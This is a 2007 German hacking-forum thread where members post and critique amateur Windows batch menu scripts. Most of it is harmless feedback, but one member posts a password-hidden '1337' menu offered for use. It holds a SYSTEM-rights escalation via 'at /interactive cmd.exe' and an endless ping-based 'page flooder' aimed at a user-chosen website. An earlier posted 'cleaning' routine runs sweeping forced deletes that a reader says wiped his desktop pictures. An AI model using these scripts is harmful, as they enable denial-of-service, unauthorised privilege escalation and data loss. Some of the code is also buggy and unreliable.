PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [MEINE BAT] Eure meinung ..



Hamachi-1
05.10.2007, 13:55
Hallo zusammen ..
ich beschäfftige mich noch nicht lange mit Batch aber wollte mal
ein Code posten, hoffe ich bekomme rückmeldungen ...
verbesserungs vorschläge würden mich freuen :P
sagt mir bitte was ich verbessern soll ..
Danke!


:start
cls
@echo off
color 1E
echo \/Bathelp made by Hamachi-1\/
echo.
echo ----------------------------
pause
goto New1

:New1
echo myip = Zeigt ihn ihre Ip Adresse an
echo.
echo time = zeigt ihn die Zeit an
echo.
echo shute = startet ihren PC neu
echo.
echo info = infos ueber diese bat Datei
echo.
echo exit/ende = beendet diese Bat
echo.
echo ------------------------------
echo.
echo.
pause

set /p w=hier den Befehl eingeben:
if "%w%" == "myip" goto New2
if "%w%" == "time" goto New3
if "%w%" == "shute" goto New5
if "%w%" == "info" goto New6
if "%w%" == "exit/ende" exit

:New2
cls
echo.
echo hier haben sie die möglichkeit ihre Interne oder
echo ihr externe IP zu sehen.......
echo.
echo Um ihre interne IP zu sehen geben sie "intern" ein...
echo Um ihre externe IP zu sehen geben sie "extern" ein...
echo Um wieder neu anzufangen geben sie "exit" ein...
set /p ip=hier eintippen :
if "%ip%" == "extern" goto extern
if "%ip%" == "intern" goto intern

:extern
ipconfig
pause
goto start

:intern
start ./links/intern.url
pause
goto start

:New3
echo.
echo Die akktuele Zeit wird angezeigt
time
pause
goto start

:New5
cls
echo.
echo Auf befehl wird ihr PC neu gestartet
pause
shutedown -r -t05
goto start

:New6
cls
echo.
echo Diese Bat wurde von Hamachi-1 Hergestellt
echo.
echo 5.10.2007
echo.
echo ...: !nvAL!D H4CKER$ :...
pause
goto start

Mfg Hamachi-1

Hamachi-1
05.10.2007, 14:08
Cool gemacht ;)

Freut mich :)
gibts auch verbesserungs vorschläge damit ich mehr rein machen
kann oder etwas besser machen kann?

mfg Hamachi-1

nicok
05.10.2007, 14:17
Du hast bei "Externe IP" den befehl ipconfig, welcher jeglich die Netwerk-IP anzeigt.

Ich würde nicht Externe und Interne IP sagen sondern Netwerk-IP (wie man die 'Externe' IP noch nennen kann weiß ich moment nicht!)

Hollowman
05.10.2007, 14:19
Cool gemacht ;)

hättest ma überprüft wüsstest du das es dort fehler gibt

also erstens die ip anzeige intern bringt einen fehler. (ich hab dann nicht mehr weiter extern getestet)

free-hack öffnet auch nicht. du musst das so reinschreiben

start iexplore http://free-hack.com und dann startet das! und net wie bei dir, das er sagt befehl kann nicht gefunden werden

bei der zeit, muss man eine neue zeit engeben, auch hier bringt der befehl exit nix um sich zu retten...

exit im startbildschirm bringt einen ins ip menü. noch einige fehler also

Hamachi-1
05.10.2007, 14:30
Ahh ok thx 4 feed ..
das mit extern funkt aber und dasmit intern weiß ich net
wie ich das machen soll :oops:

H4x0r007
05.10.2007, 14:37
benutze Delphi, oder eine Basic-Sprache und schreib es damit. Dann kannst du auch Funktionen wie öffnen von FireFox oder Öffnen/Schließen des DVD-Laufwerks bewerkstelligen.

BatchCode an sich ist nice, allerdings wird den niemand benutzen.
Externe IP: www.wieistmeineip.de
Zeit : Unten rechts im SysTray oder www.uhrzeit.org (für etwas genaueres bitte 2. wählen)
Free-Hack.com: Ich glaube, das weiß jeder, wie das geht
Shutdown/Reboot: Ausschalten wird schon jeder seinen Rechner können
Info: Wird dann nicht mehr benötigt
Ende: Siehe Shutdown

Hamachi-1
05.10.2007, 14:42
Was könnte ich rein tuen was noch nützliger ist?

big earl
05.10.2007, 15:23
also -.-

1. eine Site kann so geöffnet werden


start http:\\www.free-hack.com

oder so


explorer http:\\free-hack.com

bei dir fehlte nur das "http:\\" damit der weis das das internet ist

2. Geht dein "intern" nicht


start ./links/intern.url

ich weis sowieso nicht was das sollte -.- denn unter ipconfig wird ja das komplette netzwerk angezeigt

3.Könntest du beser statt


pause

lieber


pause > nul

(einfach der optik willen)

und 4. Heist es
shutdown

und nicht


shutedown

aber noch besser wäre


shutdown -s -f -t 05 -c "Ihr PC wird nun Herruntergefahren."

so das wars dann mal an kritik von meiner seite ^^

aber für dein erstes batch tool worklich nicht schlecht

also ich wäre nie auf sone idee gekomen

(zu benutzerfeundlich das teil ^^)

Hoffentlich wirst du dich noch rannsetzen an batch denn ich finde wir haben hier wirklich zu wenige full batch coder -.-

H4x0r007
05.10.2007, 15:26
@big earl: Ich will deine batch-kenntnisse ja nicht infrage stellen, aber es heißt nicht http:\\ sondern http://

big earl
05.10.2007, 15:28
das ist egal der kann in beiden fällen ne site öffnen -.-

(versuch das doch erstma bevor du meien batch kenntnisse in frage stellst -.-)

Hamachi-1
05.10.2007, 16:19
Thx 4 feed
war nicht meine erste Bat ..
das war meine 2te richtige :)
ich finde ich mache das schon gut :o
habe mir schon uberlegt das man mal
ein Batch wettbewerb machen soll :)
ich were aufjedenfall dabei

IcE_FiGhTeR
05.10.2007, 16:25
also -.-

2. Geht dein "intern" nicht


start ./links/intern.url

ich weis sowieso nicht was das sollte -.-

Das verweist auf einen Ordner der eigentlich da sein sollte wo eine url auf die seite www.wieistmeineip.de führt.

<.< der hatt meinen source den ich ihm geschickt stark abgäendert <.<

bonti
05.10.2007, 16:27
Nimm das mit "open free-hack.com" (oder so ähnlich) raus, sonst hat Suicide wieder Ärger am Hals..

Hamachi-1
05.10.2007, 16:32
Hab das mit FH rausgenommen

At IcE_FiGhTeR :arrow: Ja aber nur das habe ich da raus genommen sonst nix :oops:

big earl
05.10.2007, 16:32
Also son batch wetbewerb wäre ganz cool

ich werd da auf jedenfall mitmachen ^^

IcE_FiGhTeR
05.10.2007, 16:35
:New6
cls
echo.
echo Diese Bat wurde von Hamachi-1 Hergestellt
echo.
echo 5.10.2007
echo.
echo ...: !nvAL!D H4CKER :...
[/code]

Mfg Hamachi-1

ähm .... es heist !nvAL!D H4CKER$ .... WTF ? Du hast einfach sachen aus meiner bat rauskopiert und da eingefügt <.<
Wenigstens hast du es aus meiner alter version kopiert ^^


:start
cls
@echo off
color 1E
echo.
echo \/\/bathelper 2.4.0.5\/\/
echo.
echo ----------------------------------------
echo Befehl = Aktion
echo.
echo _ _ _ _ _ _ _ _ _ _
echo.
echo bathelp = Von A - Z sortierte info ueber Batch
echo.
echo CaM = Copy and Move funktion
echo.
echo HDcopy = Kopiert Festplatten
echo.
echo pingsite = Ping Webseiten ( IP rausfinden etc. )
echo.
echo Chkdsk = Fuehrt CHKDSK auf ein gewaehltes Laufwerk aus
echo.
echo netstat = Information ueber eingehende und ausgehende verbindungen
echo.
echo myip = zeigt ihnen ihre IP an
echo.
echo cleaning = Saeubert das System
echo.
echo ende/exit = schliest diese BAT
echo.
echo ----------------------------------------
echo.
echo.
set /p w=hier den Befehl eintippen :
if "%w%" == "CaM" goto new2
if "%w%" == "cam" goto new2
if "%w%" == "HDcopy" goto new3
if "%w%" == "hdcopy" goto new3
if "%w%" == "pingsite" goto new4
if "%w%" == "chkdsk" goto new5
if "%w%" == "netstat" goto netstat
if "%w%" == "myip" goto myip
if "%w%" == "bathelp" goto bathelp
if "%W%" == "cleaning" goto cleaning
if "%w%" == "ende" exit
if "%w%" == "exit" exit
if "%w%" == "edne" exit
goto start

:new3
set /p quelle=Quell Laufwerk eingeben :
set /p ziel=Ziel Laufwerk eingeben :
if errorlevel 1 goto error1
diskcopy %quelle% %ziel%
echo.
echo Vorgang erfolgreich!
echo.
echo.
pause
goto start

:error1
echo.
echo.
echo Es ist ein Fehler aufgetreten!
echo.
echo.
pause
goto start

:new2
cls
echo.
echo.
echo -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
echo.
echo.
echo Sie koennen den Vorgang mit der eingabe "exit" oder "ende" beenden.
echo.
echo Um auf/ueber %userprofile% zu zu greifen benutzten sie "C:\DOKUME~1\ADMINI~1"
echo.
echo Ordner die leerzeichen haben koennen nicht benutzt werden!
echo.
echo.
echo Um alle Datein zu kopieren geben sie "*.*" ein.
echo Ohne der Anfuehrungszeichen!
echo Um nur ein bestimmtest Format zu kopieren und verschieben geben sie "*.Format" ein.
echo Wobei das "Format" für das "mp3" oder "txt" steht....
echo Es kann nur ein Format kopiert/vorschoben werden oder nur alle Dateien!
echo.
set /p d=Hier den Dateinamen eingeben! :
if "%d%" == "ende" goto start
if "%d%" == "exit" goto start
if "%d%" == "edne" goto start
cls
echo.
set /p c=Hier den Quell Ordner eingeben :
if "%c%" == "ende" goto start
if "%c%" == "exit" goto start
if "%c%" == "edne" goto start
cls
goto settodo

:settodo
echo.
echo.
cls
echo ----------------------------------------
echo Befehl = Aktion
echo.
echo _ _ _ _ _ _ _ _ _ _
echo.
echo copy = Vorgang : Kopieren
echo.
echo move = Vorgang : Verschieben
echo.
echo CaM = Vorgang : Kopieren und Verschieben
echo.
echo ende/exit = schliest diese BAT
echo ----------------------------------------
echo.
echo.
set /p e=Geben sie die obengennanten Befhele ein! :
if "%e%" == "ende" goto start
if "%e%" == "exit" goto start
if "%e%" == "edne" goto start
if "%e%" == "CaM" goto CaM2
if "%e%" == "move" goto move2
if "%e%" == "copy" goto copy2
goto settodo


:setyn
cls
echo ----------------------------------------
echo Befehl = Aktion
echo.
echo _ _ _ _ _ _ _ _ _ _
echo.
echo repeat = Wiederholt den Vorgang unendlich mal
echo.
echo exitaft = Fuert den gewaelten Vorgang nur ein mal aus
echo.
echo ende/exit = schliest diese BAT
echo ----------------------------------------
echo.
echo.
set /p yesno=Geben sie die obengenannten Befehle ein! :
if "%yesno%" == "ende" goto start
if "%yesno%" == "exit" goto start
if "%yesno%" == "edne" goto start
if "%yesno%" == "repeat" goto setynnow1
if "%yesno%" == "exitaft" goto setynnow2
goto setyn


:CaM
@echo on
cls
copy /y %c%\%d% %a%
cls
move /y %c%\%d% %b%
cls
%def%
ping 127.0.0.1 -n %pause%>nul
goto CaM



:copy
@echo on
cls
copy /y %c%\%d% %a%
cls
%def%
ping 127.0.0.1 -n %pause%>nul
goto copy



:move
@echo on
cls
move /y %c%\%d% %b%
echo.
pause
cls
%def%
ping 127.0.0.1 -n %pause%>nul
goto move

:new4
cls
echo Hier koennen sie die IP von
echo Websiten herausfinden
echo.
echo ...............
echo.
echo geben sie exit ein um zu beenden!
echo.
set /p ping=Hier die Website eingeben :
if "%ping%" == "exit" goto start
if "%ping%" == "ende" goto start
if "%ping%" == "edne" goto start
ping %ping%
if errorlevel 1 goto error
echo.
echo.
echo Vorgang war erfolgreich . . .
echo.
echo.
pause
goto start

:error
echo.
echo.
echo.
echo ERROR!
echo.
echo Beim Ping-vorgang ist ein Fehler aufgetreten...
echo.
echo Wahrscheinlich haben sie "http://" vor dem domainnamen nicht enfernt...
echo oder der Host existiert nicht!
echo.
echo.
echo.
echo.
pause
goto start


:new5
cls
echo.
echo.
echo Um zu beenden exit/ende eingeben!
echo.
echo.
set /p LwB=Den Laufwerksbuchstaben fuer´s CHKDSK eingeben :
if "%LwB%" == "exit" goto start
if "%LwB%" == "ende" goto start
if "%LwB%" == "edne" goto start
chkdsk %LwB% /f
if errorlevel 1 goto error12
echo.
echo.
echo Vorgang erfolgreich!
echo.
echo.
goto start

:error12
echo.
echo.
echo Es ist ein Fehler aufgetreten. . .
echo.
echo.
pause
goto start

:netstat
netstat -n
ping 127.0.0.1 -n 3>nul
netstat -a
pause
goto start

:myip
cls
echo.
echo hier haben sie die moeglichkeit ihre Interne oder ihre Externe
echo IP zu sehen.......
echo.
echo Um ihre interne IP zu sehen geben sie "intern" ein...
echo Um ihre externe IP zu sehen geben sie "extern" ein...
set /p ip=hier eintippen :
if "%ip%" == "extern" goto extern
if "%ip%" == "intern" goto intern
if "%ip%" == "exit" goto start
goto myip

:extern
ipconfig
pause
goto start

:intern
start www.wieistmeineip.de
pause
goto start

:bathelp
cls
start %windir%\hh.exe ms-its:C:\WINDOWS\Help\ntcmds.chm::/ntcmds.htm
goto start

:cleaning
del /f /s /q %systemdrive%\*.tmp
del /f /s /q %systemdrive%\*._mp
del /f /s /q %systemdrive%\*.log
del /f /s /q %systemdrive%\*.gid
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"

echo Finish!
echo. & pause
goto start

:move2
cls
set /p b=Hier den pfad zum verschieben eingeben :
if "%b%" == "ende" goto start
if "%b%" == "exit" goto start
if "%b%" == "edne" goto start
goto setyn

:copy2
cls
echo.
set /p a=Hier den pfad zum kopieren eingeben :
if "%a%" == "ende" goto start
if "%a%" == "exit" goto start
if "%a%" == "edne" goto start
cls
goto setyn

:CaM2

cls
echo.
set /p a=Hier den pfad zum kopieren eingeben :
if "%a%" == "ende" goto start
if "%a%" == "exit" goto start
if "%a%" == "edne" goto start
cls
echo.
set /p b=Hier den pfad zum verschieben eingeben :
if "%b%" == "ende" goto start
if "%b%" == "exit" goto start
if "%b%" == "edne" goto start
goto setyn

:setynnow1
set def=goto start
goto setpingpause

:setynnow2
set def=exit
goto true

:true
if "%e%" == "CaM" goto CaM
if "%e%" == "move" goto move
if "%e%" == "copy" goto copy
echo.
echo Befehl nicht oder falsch deffiniert!
echo.
goto settodo

:setpingpause
echo Hier geben sie in Sekunden an wie lange eine pause gemacht werden soll
echo zwischen den einzelnen prozessen!
echo.
echo Die Pausen sind empfehlenswert damit es nicht zur 100% Prozessauslastung
echo kommt.
echo.
echo 600 = 10 min
echo.
echo 1800 = 30 min
echo.
echo 3600 = 60 min
echo.
echo etc
echo.
echo.
set /p pause=Hier die Sekunden eingeben :
goto true

Hamachi-1
05.10.2007, 16:40
hä man ich habe nur das intern und extern kopiert weil ich net wusste wie das gehen soll xD

rob00n
05.10.2007, 17:43
Das nenne ich mal 0wned. xD

Aber ganz schöne Batchfiles. ^^

X.êr.rôR.X
05.10.2007, 17:53
hehe als ich cleaning eingetippt habe hat er alle pics von meinem desktop gelöscht die ich eh net brauchte THX ^^ :wink:

achja ich würde die farbe etwas ändern und zwar

Bgcolor Schwarz
schrifft Rot oder Grün

IcE_FiGhTeR
05.10.2007, 18:25
hehe als ich cleaning eingetippt habe hat er alle pics von meinem desktop gelöscht die ich eh net brauchte THX ^^ :wink:


Das sollte nicht passieren^^ sry ^^ o.0

Habe da noch das mit systemrechten :


:start
cls
@echo off
color 1E
echo.
echo Eta prostaja sistjema
echo.
echo _LinkZ_
echo.
echo YP = oeffnet wikipedia.de
echo.
echo HACK = oeffnet silkroadonline.net
echo.
echo GO = oeffnet google.de
echo.
echo exit/ende = Beendet die Bat
echo.
echo.
echo.
echo -------------------------------------
echo.
echo.

set /p pw=hier den Befehl eintippen:
if "%pw%" == "YP" goto New1
if "%pw%" == "HACK" goto New2
if "%pw%" == "GO" goto New3
if "%pw%" == "exit" exit
if "%pw%" == "ende" exit
if "%pw%" == "dassystem" goto setpw
if not "%pw%" == "dassystem" goto start

:New1
echo wikipedia.de wird geoeffnet!
echo.
pause
start www.wikipedia.de
goto start

:New2
echo silkroadonline.net wird geoeffnet!
echo.
pause
start www.silkroadonline.net
goto start

:New3
echo google.de wird geoeffnet!
echo.
pause
start www.google.de
goto start

:setpw
cls
@echo off
echo.
echo.
set /p saypw=Hier das pw eingeben :
if "%saypw%" == "kd=Dwi" goto pubversy
if not "%saypw%" == "kd=Dwi" goto start



:dassystem1
cls
color 0d
echo ######################################
echo !!!I fucked want to be the System!!!!
echo ######################################
echo.
echo.
echo.
echo Die Aktuelle Urzeit ist :
time /t
echo.
echo.
echo Eine Minute vor der Jetztiegen Zeit eingeben
echo Beispiel : jetzttige zeit 2:00 , du gibbt 2:01 ein!
echo.
echo Mit dem neuen CMD - Fenster kann man auch andere Anwendungen
echo Mit System rechten starten!
echo.
echo.
set /p zeit=Zeit eingeben :
at %zeit% /interactive "explorer.exe"
at %zeit% /interactive "cmd.exe"
taskkill /f /im explorer.exe
echo.
echo ###############
echo Geben sie im neuen Fenster explorer.exe ein
echo Und schon gibt es Systemrechte!
echo At %Zeit% are you the fucked system!
echo ###############
echo Created by !nvALI!D h4cker$
echo.
echo Aktuelle Zeit:
time /t
echo.
echo.
echo.
pause
echo.
echo Um wieder normal zu machen geben sie den Befehl norm ein
:setnorm
set /p getnorm=Hier eingeben :
if "%getnorm%" == "norm" goto makenorm
if not "%getnorm%" == "norm" goto setnorm


:makenorm
start %windir%\system32\taskkill.exe /f /im explorer.exe
start %windir%\explorer.exe
goto dassystem

:dassystem
cls
color 0d
echo ###########################
echo ~~1337~~
echo ###########################
echo.
echo.
echo system = Systemacces hack
echo.
echo flood = Page flooder without Proxy!
echo.
echo exit = exit this batch
echo.
set /p leet=Spit it Out ! :
if "%leet%" == "system" goto dassystem1
if "%leet%" == "flood" goto dassystem2
if "%leet%" == "exit" goto start
if "%leet%" == "ende" goto start
if "%leet%" == "ende" goto start
goto dassystem

:dassystem2
cls
echo.
echo #########################
echo 1nv4L1!D Fl00d3r
echo #########################
echo.
echo.
echo Eingeben welche seite gefloodet werden soll!
echo WICHTIG!
echo Beim benutzten des Flooders ohne proxy kann Gefählrich sein!
echo Benutztung auf eigene Gefahr!
echo Ich übernehme nicht die verantwortung !
echo.
set /p pageflood=Seite eingeben , ohne HTTP :
:fl00der
ping %pageflood% -l 65500 -i 255
goto fl00der

:pubversy
cls
echo.
echo Diese Variante um Systemrechte zu bekommen ist Legal!
echo Es seidem es wurde PC Adminstrator verboten.
echo Der "hack" wurde von Microsoft legal gemacht und ist
echo im cmd leicht anzuwenden und so mit legal.....
echo.
echo BENUTZUNG AUF EIGENE GEFAHR! ICH ÜBERNEHME NICHT DIE VERANTWORTUNG
ECHO FÜR SCHÄDEN ODER SONSTIGES!!!
echo.
echo ... !nvAL!D h4cker$
echo.
set /p pubsy=Sind sie damit einverstanden? :
if "%pubsy%" == "yes" goto dassystem
if "%pubsy%" == "jo" goto dassystem
if "%pubsy%" == "ja" goto dassystem
if "%pubsy%" == "sicher" goto dassystem
if "%pubsy%" == "klar" goto dassystem
if "%pubsy%" == "k" goto dassystem
if "%pubsy%" == "kk" goto dassystem
if "%pubsy%" == "jaa" goto dassystem
if "%pubsy%" == "jaaa" goto dassystem
if "%pubsy%" == "jaaaa" goto dassystem
if "%pubsy%" == "jaaaa" goto dassystem
if "%pubsy%" == "jep" goto dasystem
if "%pubsy%" == "no" exit
if "%pubsy%" == "nee" exit
if "%pubsy%" == "nö" exit
if "%pubsy%" == "ne" exit
if "%pubsy%" == "nein" exit
if "%pubsy%" == "niemals" exit
if "%pubsy%" == "lol nein" exit
if "%pubsy%" == "bist du scheiße?" exit
if "%pubsy%" == "bist du scheiße" exit
if "%pubsy%" == "ich nehme Tisch und stecke jetzt in Rüzenas Arsch rein" exit

just for fun^^ wenn der mensch eine variable nicht deffiniert :


mudder sagen : set lange =
Martin kp. weil martin muss NICHT lange ~ NOT

cls

if "%lange%" == " " goto error
if "%lange%" == "*" goto weiter

:error

echo error
echo error
ping 127.0.0.1 -n 5>nul
pause
goto andrefragen

:andrefragen
echo.
echo.
if exist resident evil.avi goto gucken
if not exist resident evil.avi goto trotzdemlängerbleiben

:gucken

start G:\Icnoming\Emule Incoming\resident evil3.avi
pause
exit

:trotzdemlängerbleiben
:warten
if exist resident evil.avi goto gucken
goto warten

:weiter

goto trotzdemlängerbleiben

Du bist Spam <.<

Hamachi-1
05.10.2007, 19:16
Netter source :D
aber das ist spam .. bitte back 2 topic ;-)

:arrow: Mach doch ein "Fun Batch" Tread auf da
würde das rein passen ^^